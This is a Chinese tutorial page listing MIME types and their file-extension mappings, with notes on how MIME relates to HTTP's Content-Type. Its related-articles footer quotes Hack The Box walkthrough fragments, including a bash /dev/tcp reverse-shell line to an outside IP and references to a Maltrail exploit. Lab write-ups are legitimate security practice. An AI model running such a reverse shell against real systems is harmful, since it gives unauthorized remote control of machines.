MIME类型

这篇具有很好参考价值的文章主要介绍了MIME类型。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • 秋风阁(https://focus-wind.com/)

MIME类型

参考文档

  • IANA官方MIME类型大全
  • IBM Integration Bus v10.1
  • MDN Web Docs

MIME介绍

MIME(Multipurpose Internet Mail Extensions,邮件扩展类型)是一种标准的、用来表示文档、文件、字节流等数据的格式和性质的一种流媒体类型。

浏览器通常采用MIME类型而不是文件扩展名来确定如何处理URL和文件内容。所以在响应头需要添加标准的mimetype,否则浏览器将不能以正常的方式来处理解析文件内容。

MIME语法

通用结构:

type/subtype

MIME的组成结构;由类型与子类型两个字符串中间用/分隔而组成。不允许空格存在。type表示可以被分多个子类的独立类别。subtype表示细分后的每个类型。

MIME类型对大小写不敏感,但是传统写法都是小写。

mimetype与Content-Type

在打开网站的调试模式的时候,我们可以看到,在请求的响应标头往往有一个Content-Type的属性,Content-Type的第一个属性往往都是mimetype的类型,通过;来分割。

从MIME的全称和其历史,MIME最开始的提出是为了解决邮件编码而扩展的一种类型。邮件协议在最开始提出的时候,只能传输一定长度的ASCII码文件,随着计算机网络的发展,单纯的ASCII码显然不能满足世界的多样化需求。所以此时MIME就诞生了,MIME作为电子邮件协议SMTP的Extensions扩展,它并没有取代或改变SMTP协议,而仅仅是对SMTP协议的一种扩展。通过MIME协议,使得邮件传输过程中不会被邮件协议而改变。

万维网和HTTP协议的诞生要晚于邮件协议的诞生,在HTTP协议的发展中,广泛吸收了其他协议的优点,如MIME。在HTTP协议中,通过Content-Type标头来确定HTTP传输的内容,从其功能来看,可以确定是借鉴了MIME。且在Content-Type标头中,通常其第一个值为MIME规范中所支持的mimetype,其他属性通过过;来分割。所以可以说Content-Typemimetype的超集,在Content-Type中包含了对mimetype的定义和使用。文章来源地址https://www.toymoban.com/news/detail-469335.html

MIME类型大全

常用MIME类型

文件类型 MIME类型 描述
.txt text/plain 通常用于典型的邮件或新闻消息。 text/richtext 也是常用值
.csv text/csv
.css text/css
.xml text/xml xml对用户可读(不渲染)
.js text/javascript
.jpg | .jpeg image/jpeg 用于图像。 image/jpeg 和 image/gif 是使用的公共图像格式
.gif image/gif
.xml application/xml xml对用户不可读(渲染)
.bin application/octet-stream 当消息是未知类型和包含任何字节数据时使用
.pdf application/pdf
.json application/json
.epub application/epub+zip
.doc application/msword
.docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
.ppt application/vnd.ms-powerpoint
.pptx application/vnd.openxmlformats-officedocument.presentationml.presentation
.jar application/java-archive
.rar application/x-rar-compressed
.tar application/x-tar
.zip application/zip
.7z application/x-7z-compressed

application类型

文件类型 MIME类型
.xlsx application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xltx application/vnd.openxmlformats-officedocument.spreadsheetml.template
.potx application/vnd.openxmlformats-officedocument.presentationml.template
.ppsx application/vnd.openxmlformats-officedocument.presentationml.slideshow
.pptx application/vnd.openxmlformats-officedocument.presentationml.presentation
.sldx application/vnd.openxmlformats-officedocument.presentationml.slide
.docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
.dotx application/vnd.openxmlformats-officedocument.wordprocessingml.template
.xlam application/vnd.ms-excel.addin.macroEnabled.12
.xlsb application/vnd.ms-excel.sheet.binary.macroEnabled.12
.epub application/epub+zip
.apk application/vnd.android.package-archive
.hqx application/mac-binhex40
.cpt application/mac-compactpro
.doc application/msword
.pdf application/pdf
.mif application/vnd.mif
.xls application/vnd.ms-excel
.ppt application/vnd.ms-powerpoint
.odc application/vnd.oasis.opendocument.chart
.odb application/vnd.oasis.opendocument.database
.odf application/vnd.oasis.opendocument.formula
.odg application/vnd.oasis.opendocument.graphics
.otg application/vnd.oasis.opendocument.graphics-template
.odi application/vnd.oasis.opendocument.image
.odp application/vnd.oasis.opendocument.presentation
.otp application/vnd.oasis.opendocument.presentation-template
.ods application/vnd.oasis.opendocument.spreadsheet
.ots application/vnd.oasis.opendocument.spreadsheet-template
.odt application/vnd.oasis.opendocument.text
.odm application/vnd.oasis.opendocument.text-master
.ott application/vnd.oasis.opendocument.text-template
.oth application/vnd.oasis.opendocument.text-web
.sxw application/vnd.sun.xml.writer
.stw application/vnd.sun.xml.writer.template
.sxc application/vnd.sun.xml.calc
.stc application/vnd.sun.xml.calc.template
.sxd application/vnd.sun.xml.draw
.std application/vnd.sun.xml.draw.template
.sxi application/vnd.sun.xml.impress
.sti application/vnd.sun.xml.impress.template
.sxg application/vnd.sun.xml.writer.global
.sxm application/vnd.sun.xml.math
.sis application/vnd.symbian.install
.wbxml application/vnd.wap.wbxml
.wmlc application/vnd.wap.wmlc
.wmlsc application/vnd.wap.wmlscriptc
.bcpio application/x-bcpio
.torrent application/x-bittorrent
.bz2 application/x-bzip2
.vcd application/x-cdlink
.pgn application/x-chess-pgn
.cpio application/x-cpio
.csh application/x-csh
.dvi application/x-dvi
.spl application/x-futuresplash
.gtar application/x-gtar
.hdf application/x-hdf
.jar application/java-archive
.jnlp application/x-java-jnlp-file
.js application/javascript
.json application/json
.ksp application/x-kspread
.chrt application/x-kchart
.kil application/x-killustrator
.latex application/x-latex
.rpm application/x-rpm
.sh application/x-sh
.shar application/x-shar
.swf application/x-shockwave-flash
.sit application/x-stuffit
.sv4cpio application/x-sv4cpio
.sv4crc application/x-sv4crc
.rar application/x-rar-compressed
.tar application/x-tar
.7z application/x-7z-compressed
.tcl application/x-tcl
.tex application/x-tex
.man application/x-troff-man
.me application/x-troff-me
.ms application/x-troff-ms
.ustar application/x-ustar
.src application/x-wais-source
.zip application/zip
.ai application/postscript
.atom application/atom+xml
.bin application/octet-stream
.cdf application/x-netcdf
.class application/octet-stream
.dcr application/x-director
.dir application/x-director
.dll application/octet-stream
.dmg application/octet-stream
.dms application/octet-stream
.dtd application/xml-dtd
.dxr application/x-director
.eps application/postscript
.exe application/octet-stream
.ez application/andrew-inset
.gram application/srgs
.grxml application/srgs+xml
.gz application/x-gzip
.lha application/octet-stream
.lzh application/octet-stream
.mathml application/mathml+xml
.nc application/x-netcdf
.oda application/oda
.ps application/postscript
.rdf application/rdf+xml
.rm application/vnd.rn-realmedia
.roff application/x-troff
.skd application/x-koan
.skm application/x-koan
.skp application/x-koan
.skt application/x-koan
.smi application/smil
.smil application/smil
.so application/octet-stream
.t application/x-troff
.texi application/x-texinfo
.texinfo application/x-texinfo
.tr application/x-troff
.vxml application/voicexml+xml
.xht application/xhtml+xml
.xhtml application/xhtml+xml
.xml application/xml
.xsl application/xml
.xslt application/xslt+xml
.xul application/vnd.mozilla.xul+xml

text类型

文件类型 MIME类型
.txt text/plain
.asc text/plain
.csv text/csv
.htm text/html
.html text/html
.xml text/xml
.css text/css
.rtf text/rtf
.rtx text/richtext
.ics text/calendar
.ifb text/calendar
.tsv text/tab-separated-values
.jad text/vnd.sun.j2me.app-descriptor
.wml text/vnd.wap.wml
.wmls text/vnd.wap.wmlscript
.etx text/x-setext
.sgm text/sgml
.sgml text/sgml

image类型

文件类型 MIME类型
.jpe image/jpeg
.jpg image/jpeg
.jpeg image/jpeg
.png image/png
.gif image/gif
.bmp image/bmp
.ico image/x-icon
.svg image/svg+xml
.webp image/webp
.wbmp image/vnd.wap.wbmp
.tif image/tiff
.tiff image/tiff
.ief image/ief
.rgb image/x-rgb
.xbm image/x-xbitmap
.xpm image/x-xpixmap
.xwd image/x-xwindowdump
.ras image/x-cmu-raster
.pnm image/x-portable-anymap
.pbm image/x-portable-bitmap
.pgm image/x-portable-graymap
.ppm image/x-portable-pixmap
.cgm image/cgm
.djv image/vnd.djvu
.djvu image/vnd.djvu
.jp2 image/jp2
.mac image/x-macpaint
.pct image/pict
.pic image/pict
.pict image/pict
.pnt image/x-macpaint
.pntg image/x-macpaint
.qti image/x-quicktime
.qtif image/x-quicktime

video类型

文件类型 MIME类型
.mp4 video/mp4
.mpeg video/mpeg
.mov video/quicktime
.qt video/quicktime
.avi video/x-msvideo
.flv video/x-flv
.webm video/webm
.mxu video/vnd.mpegurl
.wm video/x-ms-wm
.wmv video/x-ms-wmv
.wmx video/x-ms-wmx
.wvx video/x-ms-wvx
.movie video/x-sgi-movie
.3gp video/3gpp
.dif video/x-dv
.dv video/x-dv
.m4u video/vnd.mpegurl
.m4v video/x-m4v
.mpe video/mpeg
.mpg video/mpeg
.ogv video/ogv

audio类型

文件类型 MIME类型
.mp2 audio/mpeg
.mp3 audio/mpeg
.aif audio/x-aiff
.aifc audio/x-aiff
.aiff audio/x-aiff
.ogg audio/ogg
.m3u audio/x-mpegurl
.ra audio/x-pn-realaudio
.wav audio/x-wav
.wma audio/x-ms-wma
.wax audio/x-ms-wax
.au audio/basic
.kar audio/midi
.m4a audio/mp4a-latm
.m4p audio/mp4a-latm
.mid audio/midi
.midi audio/midi
.mpga audio/mpeg
.ram audio/x-pn-realaudio
.snd audio/basic

model类型

文件类型 MIME类型
.iges model/iges
.igs model/iges
.mesh model/mesh
.msh model/mesh
.silo model/mesh
.vrml model/vrml
.wrl model/vrml

其他类型

文件类型 MIME类型
.pdb chemical/x-pdb
.xyz chemical/x-xyz
.ice x-conference/x-cooltalk

multipart复合类型

MIME类型 描述
multipart/form-data 可用于联系 HTML Forms 和 POST 方法
multipart/byteranges 使用状态码206 Partial Content来发送整个文件的子集
multipart/related 用于消息中多个相关部分。 具体地讲,与 SwA(具有附件的 SOAP)一起使用
multipart/signed 用于消息中多个相关部分(包括签名)。 具体的讲,与 S/MIME 一起使用
multipart/mixed 用于消息中多个独立部分。

到了这里,关于MIME类型的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【学习】https://gitee.com/DingJiaxiong

    【学习】https://gitee.com/DingJiaxiong 0 前言 事情是这样,我准备把之前所有的笔记都放到Gitee 上了 不用GitHub … 就别问原因了。【方便大家自取】 OK,这几个月多多少少也写了2000 + 篇Markdown 笔记了,有些现在还没发出博客,因为一天只能发20 篇。 这些笔记都是自己看B站视频做的

    2024年02月01日
    浏览(49)
  • c/c++参考手册与手册查阅(apiref.com/Microsoft doc/cppReference/cplusplus)

    在linux环境下进行C语言编程,涉及到陌生的函数调用的时候可以通过man手册(命令)来查找文档 但是有时候,我们需要查找语言的基本概念/,则可以通过一些参考网站来获取信息 直接通过搜索引擎来查找资料是一个不错的选择 但是在网络条件不佳的情况下,使用离线的手册或

    2024年02月04日
    浏览(36)
  • https://app.hackthebox.com/machines/Squashed

    info collecting mount nfs files create user or: bash -i /dev/tcp/10.10.16.15/1337 01 browser 2.php create user ross su ross squash wget the .Xauthority Get the root’s desktop pic Wget the haha.xwd su root get the flag Ref:[https://www.jianshu.com/p/ef5201d9ffe7] (https://www.jianshu.com/p/ef5201d9ffe7) Squashed HTB Writeup https://www.jianshu.com/p/ef520

    2024年02月11日
    浏览(79)
  • https://app.hackthebox.com/machines/Sau

    next time http://10.10.11.224:55555/haha35 altrail Documentation | Wiki | Issues | Log In Trails close Powered by Maltrail (v0.53) Hide threat Report false positive https://nvd.nist.gov/vuln/detail/CVE-2023-27163 https://github.com/spookier/Maltrail-v0.53-Exploit POC http://10.10.11.224:55555/haha35/ http://10.10.11.224:55555/haha352 curl ‘http://10.10.11.

    2024年02月14日
    浏览(55)
  • https://app.hackthebox.com/machines/Soccer

    https://app.hackthebox.com/machines/Soccer search exploit Download ZIP with latest version from master branch. Just copy the tinyfilemanager.php to your webspace - thats all 😃 You can also change the file name from “tinyfilemanager.php” to something else, you know what i meant for. Default username/password: admin/admin@123 and user/12345 . ⚠️ War

    2024年02月16日
    浏览(37)
  • unable to access https://github.com/....解决方法

    git config --global url.\\\"https://\\\".insteadOf git:// 可以把 git:// 替换成 https:// 方便使用 https 协议 相反的,如果想要将https 替换成 git,比如我们平时下载不到github的东西,提示 unable to access https://github.com/.......的时候就可以用 git config --global url.\\\"git://\\\".insteadOf https:// 这个方法来解决,意

    2024年02月13日
    浏览(77)
  • pip install git+https://github.com/...下载问题

    遇到如下的直接结合github的下载安装情况: pip install git+https://github.com/votchallenge/vot-toolkit-python 在没有其他 合理 情况下可以采用如下操作进行正常的安装: 将上述代码换成: pip install git+git://github.com/votchallenge/vot-toolkit-python 即将 https 换成 git 代码更换后可能会出现如下问题:

    2023年04月24日
    浏览(45)
  • 【lwip】13-TCP协议分析之源码篇链接:[https://www.cnblogs.com/lizhuming/p/17438682.html](https://www.cnblogs.com/lizhuming/p/17438682.html)

    TCP源码篇,当前只分析TCP层的源码实现,按功能分块分析,接口为RAW接口。 NETCONN接口和SOCKET接口会独立一篇文章进行分析。 本文基于读者已学习了TCP协议原理篇的基础上进行源码分析,不再在此篇文章中过多解析TCP相关概念。 ‍ 建议读者对着LWIP库源码进行阅读。对于初学

    2024年02月06日
    浏览(80)
  • fatal: unable to access ‘https://github.com/......‘: Failed to connect to github.com

    1、在git内重置proxy 2、在cmd内执行ipconfig/flushdns 清理DNS缓存

    2024年02月17日
    浏览(53)
  • https://chrome.google.com/webstore/category/extensions 无法访问

    \\\"https://chrome.google.com/webstore/category/extensions\\\" 网站无法访问可能是由于以下几种原因之一: 网络连接问题:检查您的网络连接是否正常,确保您能够访问其他网站。 网站维护:该网站可能正在维护中,请稍后再试。 浏览器问题:请确保您使用的是最新版本的Chrome浏览器,并且没

    2024年02月11日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包